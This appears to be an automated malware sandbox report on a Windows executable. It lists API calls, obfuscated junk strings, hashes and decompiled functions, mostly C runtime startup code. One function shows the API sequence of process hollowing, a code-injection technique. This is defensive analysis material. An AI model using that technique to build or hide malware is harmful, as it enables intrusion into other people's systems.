SetConsoleMode.KERNEL32(?,00000000), ref: 0041A168
ReadFileScatter.KERNEL32(00000000,00000000,00000000,00000000,?), ref: 0041A185
lstrcmpA.KERNEL32(Vaguxabufereg godid vefas nehesuh,Pusazide), ref: 0041A195
GetPrivateProfileSectionW.KERNEL32 ref: 0041A1AE
DebugBreak.KERNEL32 ref: 0041A1B0
DeleteVolumeMountPointA.KERNEL32 ref: 0041A1BB

Strings

Losufic vahafoj sovoculoziyaja dewofic, xrefs: 00419C79
cbH, xrefs: 00419EA2
lakusoruhajunajiziheruxazoluyoloxujumazomeke, xrefs: 00419BE1
mocisacatenu, xrefs: 00419C24
Hiwejanoji, xrefs: 0041A13A
Felerah cuhozazikesuzil, xrefs: 00419C43
Vaguxabufereg godid vefas nehesuh, xrefs: 0041A190
helecebekuxesiwiwifomipuwudokatupibej, xrefs: 00419F11
Hetitanutaf bebucoreko, xrefs: 00419E86
werahixiwexetujocaxojikutevolekeginizegimowif, xrefs: 00419F78
Piruvora, xrefs: 0041A012
Vozecitak mov, xrefs: 00419C12
pahubahiwucijucemipapujivojadij, xrefs: 00419F0C
suxehecumugilodagaduvixevexirificiseracipefi, xrefs: 0041A19B
wapejan, xrefs: 00419C29
mesehoripirowarericaju, xrefs: 00419CDC
Xemov yoxociy pogi, xrefs: 00419D90
tivomifuzasesufaholivikasekalene, xrefs: 00419EED
rixawibonagomukirak, xrefs: 0041A055
0.0, xrefs: 00419B9A
wovag, xrefs: 00419C63
Dovi muyafohonifu zapojubocuwuh vuleh, xrefs: 00419F56
hijaduvinijebup, xrefs: 00419BD6
gukafipa, xrefs: 0041A035
diponusohivasohopo, xrefs: 0041A068
hukujid, xrefs: 0041A1B6
Pusazide, xrefs: 0041A18B
mawecamaxe, xrefs: 0041A063
tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv, xrefs: 00419C2E
tifikekacejininomizewidixazodafetisutaxewuy, xrefs: 00419D84
bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi, xrefs: 0041A1A9

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: Console$File$FindSection$ProfileTimeWrite$CommCreateNamePrivate$AtomFreeProcessVolume$AliasCloseGlobalHandleInputLengthLocalLockModeMountMoveNamedNextPipePointStateSystemTypeWait$BinaryCharCompletionCriticalCurrentDeleteDeviceDirectoryEnumEnvironmentErrorExesFormatsHeapLastMaskPathPortProcess32ResourceSemaphoreStringsThreadUnregister__invalid_parameterlstrcmp$AddressAdjustmentAliasesApisAssignAttributesBreakBufferBuildCancelChangeCharacterCompressedConditionConfigContextCountDateDebugDefaultDefineDriveEnterEventExchangeExecutionFlushFullGuidInfoInitializeInterlockedLanguageMailslotModuleMutexNamesNotificationObjectOpenOutputOverlappedParametersPeekProcQueryReadResetResultScatterShortSizeStringStructTapeTerminateTimerTransactTransmitUnlockUpdateVersionWaitableWatchWindows__atof_l__dosmaperr__realloc_dbg__vsprintf_l__vswprintf__wcstoi64__wrename_atexit_ferror_lopen_malloc_memset_putc_realloclstrcpylstrcpyn
String ID: 0.0$Dovi muyafohonifu zapojubocuwuh vuleh$Felerah cuhozazikesuzil$Hetitanutaf bebucoreko$Hiwejanoji$Losufic vahafoj sovoculoziyaja dewofic$Piruvora$Pusazide$Vaguxabufereg godid vefas nehesuh$Vozecitak mov$Xemov yoxociy pogi$bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi$cbH$diponusohivasohopo$gukafipa$helecebekuxesiwiwifomipuwudokatupibej$hijaduvinijebup$hukujid$lakusoruhajunajiziheruxazoluyoloxujumazomeke$mawecamaxe$mesehoripirowarericaju$mocisacatenu$pahubahiwucijucemipapujivojadij$rixawibonagomukirak$suxehecumugilodagaduvixevexirificiseracipefi$tifikekacejininomizewidixazodafetisutaxewuy$tivomifuzasesufaholivikasekalene$tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv$wapejan$werahixiwexetujocaxojikutevolekeginizegimowif$wovag
API String ID: 810379756-3832306161
Opcode ID: eaee16d0d52fa3572a9db184ce6f671648090d07918811bd6da2650ca491b5cd
Instruction ID: 4c4be19627e45953e2d17c6bcf393190329852d42b7d4e5b7b5cbff59c6cea90
Opcode Fuzzy Hash: eaee16d0d52fa3572a9db184ce6f671648090d07918811bd6da2650ca491b5cd
Instruction Fuzzy Hash: 4FF1EC76042561BBD315ABA1EE4CDDF3EACEF4A395B004429F24AE5070C7384646CBBE

Uniqueness

Uniqueness Score: -1.00%

Function 00570110, Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00570156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0057016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00570255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00570270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00570283
GetThreadContext.KERNELBASE(00000000,?), ref: 0057029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005702C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 005702E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00570304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0057032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00570399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005703BF
SetThreadContext.KERNELBASE(00000000,?), ref: 005703E1
ResumeThread.KERNELBASE(00000000), ref: 005703ED
ExitProcess.KERNEL32(00000000), ref: 00570412

Memory Dump Source

Source File: 00000001.00000002.282966765.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_570000_ZA3cYU28Yl.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 75194dc1ddf31dfd42f7d086fa99d3ba0f79df4612f653aec3d5d99c565ffe0e
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: FFB1B674A00208EFDB44CF98C895F9EBBB5BF88314F248158E509AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0041B687, Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E0041B687() {
				signed int _t79;
				signed int _t80;
				intOrPtr _t81;
				signed int _t97;
				void* _t102;
				void* _t103;
				signed int _t105;
				void* _t109;
				void* _t110;
				intOrPtr _t112;
				void* _t115;
				void* _t116;
				signed int _t122;
				signed int _t123;
				intOrPtr _t126;
				signed int _t127;
				signed int _t157;
				intOrPtr _t158;
				intOrPtr _t159;
				signed int _t169;
				signed int _t170;
				void* _t171;
				void* _t173;
				void* _t175;
				void* _t177;
				void* _t178;
				void* _t188;
				void* _t192;

				_t178 = _t177 + 4;
				 *(_t175 - 4) = 0;
				if( *0x54ac34 > 0) {
					_t112 =  *0x54ac34; // 0x0
					_t188 =  *0x54ac1c - _t112 - 1; // 0x0
					if(_t188 != 0) {
						_t169 =  *0x54ac1c; // 0x0
						_t170 = _t169 + 1;
						__eflags = _t170;
						 *0x54ac1c = _t170;
					} else {
						if(E0041C960() == 0) {
							_push(L"_CrtCheckMemory()");
							_push(0);
							_push(0x179);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
							_push(2);
							_t115 = L0041E000();
							_t178 = _t178 + 0x14;
							if(_t115 == 1) {
								asm("int3");
							}
						}
						 *0x54ac1c = 0;
					}
				}
				_t79 =  *0x44020c; // 0x34
				 *(_t175 - 0x28) = _t79;
				if( *0x440210 != 0xffffffff) {
					_t192 =  *(_t175 - 0x28) -  *0x440210; // 0xffffffff
					if(_t192 == 0) {
						asm("int3");
					}
				}
				if( *0x44105c == 0) {
					L19:
					__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 2;
					if(( *(_t175 + 0xc) & 0x0000ffff) != 2) {
						_t105 =  *0x440204; // 0x1
						__eflags = _t105 & 0x00000001;
						if((_t105 & 0x00000001) == 0) {
							 *(_t175 - 0x1c) = 1;
						}
					}
					__eflags =  *((intOrPtr*)(_t175 + 8)) - 0xffffffbc;
					if( *((intOrPtr*)(_t175 + 8)) <= 0xffffffbc) {
						__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 4;
						if(( *(_t175 + 0xc) & 0x0000ffff) != 4) {
							__eflags =  *(_t175 + 0xc) - 1;
							if( *(_t175 + 0xc) != 1) {
								__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 2;
								if(( *(_t175 + 0xc) & 0x0000ffff) != 2) {
									__eflags =  *(_t175 + 0xc) - 3;
									if( *(_t175 + 0xc) != 3) {
										_t102 = L00429360(1, 0, 0, 0, "%s", "Error: memory allocation: bad memory block type.\n");
										_t178 = _t178 + 0x18;
										__eflags = _t102 - 1;
										if(_t102 == 1) {
											asm("int3");
										}
									}
								}
							}
						}
						 *((intOrPtr*)(_t175 - 0x2c)) =  *((intOrPtr*)(_t175 + 8)) + 0x24;
						_t80 = E004292A0(_t116, _t171, _t173,  *((intOrPtr*)(_t175 - 0x2c))); // executed
						 *(_t175 - 0x24) = _t80;
						__eflags =  *(_t175 - 0x24);
						if( *(_t175 - 0x24) != 0) {
							_t122 =  *0x44020c; // 0x34
							_t123 = _t122 + 1;
							 *0x44020c = _t123;
							__eflags =  *(_t175 - 0x1c);
							if( *(_t175 - 0x1c) == 0) {
								__eflags = (_t123 | 0xffffffff) -  *0x54ac14 -  *((intOrPtr*)(_t175 + 8));
								if((_t123 | 0xffffffff) -  *0x54ac14 <=  *((intOrPtr*)(_t175 + 8))) {
									 *0x54ac14 = 0xffffffff;
								} else {
									_t159 =  *0x54ac14; // 0x383e
									 *0x54ac14 = _t159 +  *((intOrPtr*)(_t175 + 8));
								}
								_t81 =  *0x54ac2c; // 0x1fc8
								 *0x54ac2c = _t81 +  *((intOrPtr*)(_t175 + 8));
								_t126 =  *0x54ac2c; // 0x1fc8
								__eflags = _t126 -  *0x54ac20; // 0x2376
								if(__eflags > 0) {
									_t158 =  *0x54ac2c; // 0x1fc8
									 *0x54ac20 = _t158;
								}
								__eflags =  *0x54ac24;
								if( *0x54ac24 == 0) {
									 *0x54ac18 =  *(_t175 - 0x24);
								} else {
									_t97 =  *0x54ac24; // 0x22f1318
									 *(_t97 + 4) =  *(_t175 - 0x24);
								}
								_t127 =  *0x54ac24; // 0x22f1318
								 *( *(_t175 - 0x24)) = _t127;
								 *( *(_t175 - 0x24) + 4) = 0;
								 *( *(_t175 - 0x24) + 8) =  *(_t175 + 0x10);
								 *((intOrPtr*)( *(_t175 - 0x24) + 0xc)) =  *((intOrPtr*)(_t175 + 0x14));
								 *((intOrPtr*)( *(_t175 - 0x24) + 0x10)) =  *((intOrPtr*)(_t175 + 8));
								 *( *(_t175 - 0x24) + 0x14) =  *(_t175 + 0xc);
								 *( *(_t175 - 0x24) + 0x18) =  *(_t175 - 0x28);
								 *0x54ac24 =  *(_t175 - 0x24);
							} else {
								 *( *(_t175 - 0x24)) = 0;
								 *( *(_t175 - 0x24) + 4) = 0;
								 *( *(_t175 - 0x24) + 8) = 0;
								 *((intOrPtr*)( *(_t175 - 0x24) + 0xc)) = 0xfedcbabc;
								 *((intOrPtr*)( *(_t175 - 0x24) + 0x10)) =  *((intOrPtr*)(_t175 + 8));
								 *( *(_t175 - 0x24) + 0x14) = 3;
								 *( *(_t175 - 0x24) + 0x18) = 0;
							}
							E0041B190(_t171,  *(_t175 - 0x24) + 0x1c,  *0x440214 & 0x000000ff, 4);
							E0041B190(_t171,  *(_t175 - 0x24) +  *((intOrPtr*)(_t175 + 8)) + 0x20,  *0x440214 & 0x000000ff, 4);
							E0041B190(_t171,  *(_t175 - 0x24) + 0x20,  *0x440217 & 0x000000ff,  *((intOrPtr*)(_t175 + 8)));
							_t157 =  *(_t175 - 0x24) + 0x20;
							__eflags = _t157;
							 *(_t175 - 0x20) = _t157;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x18)))) = 0xc;
						}
					} else {
						_t103 = L00429360(1, 0, 0, 0, "Invalid allocation size: %Iu bytes.\n",  *((intOrPtr*)(_t175 + 8)));
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							asm("int3");
						}
						 *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x18)))) = 0xc;
					}
					L46:
					 *(_t175 - 4) = 0xfffffffe;
					E0041B9D0();
					 *[fs:0x0] =  *((intOrPtr*)(_t175 - 0x10));
					return  *(_t175 - 0x20);
				}
				_t109 =  *0x44105c(1, 0,  *((intOrPtr*)(_t175 + 8)),  *(_t175 + 0xc),  *(_t175 - 0x28),  *(_t175 + 0x10),  *((intOrPtr*)(_t175 + 0x14)));
				_t178 = _t178 + 0x1c;
				if(_t109 != 0) {
					goto L19;
				}
				if( *(_t175 + 0x10) == 0) {
					_t110 = L00429360(0, 0, 0, 0, "%s", "Client hook allocation failure.\n");
					__eflags = _t110 - 1;
					if(_t110 == 1) {
						asm("int3");
					}
					L18:
					goto L46;
				}
				_push( *((intOrPtr*)(_t175 + 0x14)));
				if(L00429360(0, 0, 0, 0, "Client hook allocation failure at file %hs line %d.\n",  *(_t175 + 0x10)) == 1) {
					asm("int3");
				}
				goto L18;
			}

0x0041b687
0x0041b68a
0x0041b698
0x0041b69a
0x0041b6a2
0x0041b6a8
0x0041b6e0
0x0041b6e6
0x0041b6e6
0x0041b6e9
0x0041b6aa
0x0041b6b1
0x0041b6b3
0x0041b6b8
0x0041b6ba
0x0041b6bf
0x0041b6c4
0x0041b6c6
0x0041b6cb
0x0041b6d1
0x0041b6d3
0x0041b6d3
0x0041b6d1
0x0041b6d4
0x0041b6d4
0x0041b6a8
0x0041b6ef
0x0041b6f4
0x0041b6fe
0x0041b703
0x0041b709
0x0041b70b
0x0041b70b
0x0041b709
0x0041b713
0x0041b78a
0x0041b793
0x0041b796
0x0041b798
0x0041b79d
0x0041b7a0
0x0041b7a2
0x0041b7a2
0x0041b7a0
0x0041b7a9
0x0041b7ad
0x0041b7e5
0x0041b7e8
0x0041b7ea
0x0041b7ee
0x0041b7f9
0x0041b7fc
0x0041b7fe
0x0041b802
0x0041b816
0x0041b81b
0x0041b81e
0x0041b821
0x0041b823
0x0041b823
0x0041b821
0x0041b802
0x0041b7fc
0x0041b7ee
0x0041b82a
0x0041b831
0x0041b839
0x0041b83c
0x0041b840
0x0041b850
0x0041b856
0x0041b859
0x0041b85f
0x0041b863
0x0041b8b7
0x0041b8ba
0x0041b8cd
0x0041b8bc
0x0041b8bc
0x0041b8c5
0x0041b8c5
0x0041b8d7
0x0041b8df
0x0041b8e4
0x0041b8ea
0x0041b8f0
0x0041b8f2
0x0041b8f8
0x0041b8f8
0x0041b8fe
0x0041b905
0x0041b917
0x0041b907
0x0041b907
0x0041b90f
0x0041b90f
0x0041b920
0x0041b926
0x0041b92b
0x0041b938
0x0041b941
0x0041b94a
0x0041b953
0x0041b95c
0x0041b962
0x0041b865
0x0041b868
0x0041b871
0x0041b87b
0x0041b885
0x0041b892
0x0041b898
0x0041b8a2
0x0041b8a2
0x0041b979
0x0041b996
0x0041b9b1
0x0041b9bc
0x0041b9bc
0x0041b9bf
0x0041b842
0x0041b845
0x0041b845
0x0041b7af
0x0041b7c0
0x0041b7c8
0x0041b7cb
0x0041b7cd
0x0041b7cd
0x0041b7d1
0x0041b7d1
0x0041b9c2
0x0041b9c2
0x0041b9c9
0x0041b9e1
0x0041b9ef
0x0041b9ef
0x0041b72d
0x0041b733
0x0041b738
0x00000000
0x00000000
0x0041b73e
0x0041b777
0x0041b77f
0x0041b782
0x0041b784
0x0041b784
0x0041b785
0x00000000
0x0041b785
0x0041b743
0x0041b760
0x0041b762
0x0041b762
0x00000000

APIs

__CrtCheckMemory.LIBCMTD ref: 0041B6AA
__heap_alloc_base.LIBCMTD ref: 0041B831
_memset.LIBCMT ref: 0041B979
_memset.LIBCMT ref: 0041B996
_memset.LIBCMT ref: 0041B9B1

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041B6BF
Invalid allocation size: %Iu bytes., xrefs: 0041B7B3
_CrtCheckMemory(), xrefs: 0041B6B3
Client hook allocation failure., xrefs: 0041B765
Client hook allocation failure at file %hs line %d., xrefs: 0041B748
Error: memory allocation: bad memory block type., xrefs: 0041B804

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID: Client hook allocation failure at file %hs line %d.$Client hook allocation failure.$Error: memory allocation: bad memory block type.$Invalid allocation size: %Iu bytes.$_CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4254127243-2462871736
Opcode ID: 09976bc2a7c0688b02347d7f9d261269ff2797cf4bfe581a336ac322e2895a2b
Instruction ID: 4a2a998df32294addd68d6ab15ac88ba62ada751dd9115018f31fd59e19aa6a5
Opcode Fuzzy Hash: 09976bc2a7c0688b02347d7f9d261269ff2797cf4bfe581a336ac322e2895a2b
Instruction Fuzzy Hash: CBA19DB8A402089BDB14DF54D985BEA77F0FB49304F20815AEA146B3D1D379AD80CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B325, Relevance: 15.1, APIs: 10, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E0041B325() {
				void* _t21;
				void* _t22;
				void* _t25;
				intOrPtr _t27;
				void* _t29;
				intOrPtr _t30;
				intOrPtr _t34;
				void* _t44;
				void* _t46;
				void* _t54;
				void* _t56;
				void* _t58;
				void* _t60;
				void* _t61;
				void* _t62;
				void* _t74;

				 *((intOrPtr*)(_t58 - 4)) = 0xfffffffe;
				 *((intOrPtr*)(_t58 - 0x6c)) = E0041B4C0();
				_t21 = E00428DB0(_t46, 1); // executed
				_t61 = _t60 + 4;
				if(_t21 == 0) {
					E0041B490(0x1c);
					_t61 = _t61 + 4; // executed
				}
				_t22 = L00424440(_t46); // executed
				if(_t22 == 0) {
					E0041B490(0x10);
					_t61 = _t61 + 4;
				}
				_push(1);
				E0041D790(_t46);
				_t62 = _t61 + 4;
				E00428D30();
				 *((intOrPtr*)(_t58 - 4)) = 1;
				_t25 = E00426800(); // executed
				if(_t25 < 0) {
					L00425D40(_t44, _t46, _t54, _t56, 0x1b);
					_t62 = _t62 + 4;
				}
				 *0x54c984 = E00428D20(); // executed
				_t27 = E00428C70(_t44, _t54, _t56); // executed
				 *0x54ac0c = _t27;
				if(E00428880() < 0) {
					L00425D40(_t44, _t46, _t54, _t56, 8);
					_t62 = _t62 + 4; // executed
				}
				_t29 = E004286E0(_t44, _t54, _t56); // executed
				if(_t29 < 0) {
					L00425D40(_t44, _t46, _t54, _t56, 9);
					_t62 = _t62 + 4;
				}
				_t30 = E00425C20(_t46, 1); // executed
				 *((intOrPtr*)(_t58 - 0x64)) = _t30;
				if( *((intOrPtr*)(_t58 - 0x64)) != 0) {
					L00425D40(_t44,  *((intOrPtr*)(_t58 - 0x64)), _t54, _t56,  *((intOrPtr*)(_t58 - 0x64)));
				}
				 *((intOrPtr*)(_t58 - 0x68)) = E00428640();
				if(( *(_t58 - 0x34) & 0x00000001) == 0) {
					 *(_t58 - 0x7c) = 0xa;
				} else {
					 *(_t58 - 0x7c) =  *(_t58 - 0x30) & 0x0000ffff;
				}
				 *((intOrPtr*)(_t58 - 0x70)) = E00419B62( *((intOrPtr*)(_t58 - 0x68)), _t74, 0x400000, 0,  *((intOrPtr*)(_t58 - 0x68)),  *(_t58 - 0x7c));
				if( *((intOrPtr*)(_t58 - 0x6c)) == 0) {
					E00425CC0( *((intOrPtr*)(_t58 - 0x70)));
				}
				E00425D00();
				 *((intOrPtr*)(_t58 - 4)) = 0xfffffffe;
				_t34 =  *((intOrPtr*)(_t58 - 0x70));
				 *[fs:0x0] =  *((intOrPtr*)(_t58 - 0x10));
				return _t34;
			}

0x0041b325
0x0041b331
0x0041b336
0x0041b33b
0x0041b340
0x0041b344
0x0041b349
0x0041b349
0x0041b34c
0x0041b353
0x0041b357
0x0041b35c
0x0041b35c
0x0041b35f
0x0041b361
0x0041b366
0x0041b369
0x0041b36e
0x0041b375
0x0041b37c
0x0041b380
0x0041b385
0x0041b385
0x0041b38d
0x0041b392
0x0041b397
0x0041b3a3
0x0041b3a7
0x0041b3ac
0x0041b3ac
0x0041b3af
0x0041b3b6
0x0041b3ba
0x0041b3bf
0x0041b3bf
0x0041b3c4
0x0041b3cc
0x0041b3d3
0x0041b3d9
0x0041b3de
0x0041b3e6
0x0041b3ef
0x0041b3fa
0x0041b3f1
0x0041b3f5
0x0041b3f5
0x0041b415
0x0041b41c
0x0041b422
0x0041b422
0x0041b427
0x0041b42c
0x0041b474
0x0041b47a
0x0041b488

APIs

_check_managed_app.LIBCMTD ref: 0041B32C
__heap_init.LIBCMTD ref: 0041B336

Part of subcall function 00428DB0: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041B33B,00000001), ref: 00428DC6

_fast_error_exit.LIBCMTD ref: 0041B344

Part of subcall function 0041B490: ___crtExitProcess.LIBCMTD ref: 0041B4B4

_fast_error_exit.LIBCMTD ref: 0041B357
__RTC_Initialize.LIBCMTD ref: 0041B369
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B392
___wsetargv.LIBCMTD ref: 0041B39C
__wsetenvp.LIBCMTD ref: 0041B3AF
__cinit.LIBCMTD ref: 0041B3C4
__wwincmdln.LIBCMTD ref: 0041B3E1

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3184702096-0
Opcode ID: 651d63ab9973b403a713adfff70d9f506dfd8562335215f420a554f0e3a8468f
Instruction ID: 64c788f67439d09c94fd3989d2de6e3d6f9a7229320eaa18c4ba1a88da7762c6
Opcode Fuzzy Hash: 651d63ab9973b403a713adfff70d9f506dfd8562335215f420a554f0e3a8468f
Instruction Fuzzy Hash: 703156B1E017185AE710BBF2B8067EE7260EF1431CF90412FE9155B283FB7955548A9A

Uniqueness

Uniqueness Score: -1.00%

Function 00426800, Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00426800() {
				void* _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				struct _STARTUPINFOA _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				int _v116;
				signed char* _v120;
				void* _v124;
				void** _v128;
				void** _v132;
				int _v140;
				long _v144;
				signed int _t166;
				signed int _t170;
				signed int _t175;
				signed int _t188;
				signed int _t206;
				void** _t209;
				signed int _t321;
				void* _t322;
				intOrPtr _t323;
				void* _t324;

				_push(0xfffffffe);
				_push(0x43db60);
				_push(E0041E470);
				_push( *[fs:0x0]);
				_t323 = _t322 + 0xffffff84;
				_t166 =  *0x440354; // 0xd19bb892
				_v12 = _v12 ^ _t166;
				_push(_t166 ^ _t321);
				 *[fs:0x0] =  &_v20;
				_v28 = _t323;
				_v8 = 0;
				GetStartupInfoA( &_v100);
				_v8 = 0xfffffffe;
				_t170 = L0041BAC0(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0x88); // executed
				_t324 = _t323 + 0x14;
				_v128 = _t170;
				if(_v128 != 0) {
					 *0x54b840 = _v128;
					 *0x54b83c = 0x20;
					while(_v128 <  *0x54b840 + 0x800) {
						_v128[1] = 0;
						 *_v128 = 0xffffffff;
						_v128[1] = 0xa;
						_v128[2] = 0;
						_v128[9] = _v128[9] & 0x00000080;
						_v128[9] = _v128[9] & 0x0000007f;
						_v128[9] = 0xa;
						_v128[9] = 0xa;
						_v128[0xe] = 0;
						_v128[0xd] = 0;
						_v128 =  &(_v128[0x10]);
					}
					if((_v100.cbReserved2 & 0x0000ffff) == 0 || _v100.lpReserved2 == 0) {
						L34:
						_v112 = 0;
						while(_v112 < 3) {
							_v128 = (_v112 << 6) +  *0x54b840;
							if( *_v128 == 0xffffffff ||  *_v128 == 0xfffffffe) {
								_v128[1] = 0x81;
								if(_v112 != 0) {
									asm("sbb edx, edx");
									_v144 =  ~(_v112 - 1) + 0xfffffff5;
								} else {
									_v144 = 0xfffffff6;
								}
								_v124 = GetStdHandle(_v144);
								if(_v124 == 0xffffffff || _v124 == 0) {
									L52:
									_v128[1] = _v128[1] | 0x00000040;
									 *_v128 = 0xfffffffe;
									goto L53;
								} else {
									_v108 = GetFileType(_v124);
									if(_v108 == 0) {
										goto L52;
									} else {
										 *_v128 = _v124;
										if((_v108 & 0x000000ff) != 2) {
											if((_v108 & 0x000000ff) == 3) {
												_v128[1] = _v128[1] | 0x00000008;
											}
										} else {
											_v128[1] = _v128[1] | 0x00000040;
										}
										_t188 = E0042BF80( &(_v128[3]), 0xfa0);
										_t324 = _t324 + 8;
										if(_t188 != 0) {
											_v128[2] = _v128[2] + 1;
											L53:
											goto L55;
										} else {
											_t175 = _t188 | 0xffffffff;
										}
									}
								}
							} else {
								_v128[1] = _v128[1] | 0x00000080;
								L55:
								_v112 = _v112 + 1;
								continue;
							}
							goto L57;
						}
						SetHandleCount( *0x54b83c);
						_t175 = 0;
					} else {
						_v116 =  *(_v100.lpReserved2);
						_v120 = _v100.lpReserved2 + 4;
						_v132 =  &(_v120[_v116]);
						if(_v116 >= 0x800) {
							_v140 = 0x800;
						} else {
							_v140 = _v116;
						}
						_v116 = _v140;
						_v104 = 1;
						while( *0x54b83c < _v116) {
							_t209 = L0041BAC0(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0xc0);
							_t324 = _t324 + 0x14;
							_v128 = _t209;
							if(_v128 != 0) {
								 *((intOrPtr*)(0x54b840 + _v104 * 4)) = _v128;
								 *0x54b83c =  *0x54b83c + 0x20;
								while(_v128 <  *((intOrPtr*)(0x54b840 + _v104 * 4)) + 0x800) {
									_v128[1] = 0;
									 *_v128 = 0xffffffff;
									_v128[1] = 0xa;
									_v128[2] = 0;
									_v128[9] = _v128[9] & 0x00000080;
									_v128[9] = 0xa;
									_v128[9] = 0xa;
									_v128[0xe] = 0;
									_v128[0xd] = 0;
									_v128 =  &(_v128[0x10]);
								}
								_v104 = _v104 + 1;
								continue;
							} else {
								_v116 =  *0x54b83c;
							}
							break;
						}
						_v112 = 0;
						while(_v112 < _v116) {
							if( *_v132 == 0xffffffff ||  *_v132 == 0xfffffffe || ( *_v120 & 0x00000001) == 0 || ( *_v120 & 0x00000008) == 0 && GetFileType( *_v132) == 0) {
								L33:
								_v112 = _v112 + 1;
								_v120 =  &(_v120[1]);
								_v132 =  &(_v132[1]);
								continue;
							} else {
								_v128 = ((_v112 & 0x0000001f) << 6) +  *((intOrPtr*)(0x54b840 + (_v112 >> 5) * 4));
								 *_v128 =  *_v132;
								_v128[1] =  *_v120;
								_t206 = E0042BF80( &(_v128[3]), 0xfa0);
								_t324 = _t324 + 8;
								if(_t206 != 0) {
									_v128[2] =  *((intOrPtr*)(_v128 + 8)) + 1;
									goto L33;
								} else {
									_t175 = _t206 | 0xffffffff;
								}
							}
							goto L57;
						}
						goto L34;
					}
				} else {
					_t175 = _t170 | 0xffffffff;
				}
				L57:
				 *[fs:0x0] = _v20;
				return _t175;
			}

0x00426805
0x00426807
0x0042680c
0x00426817
0x00426818
0x0042681e
0x00426823
0x00426828
0x0042682c
0x00426832
0x00426835
0x00426840
0x00426846
0x0042688b
0x00426890
0x00426893
0x0042689a
0x004268a7
0x004268ad
0x004268c2
0x004268d4
0x004268db
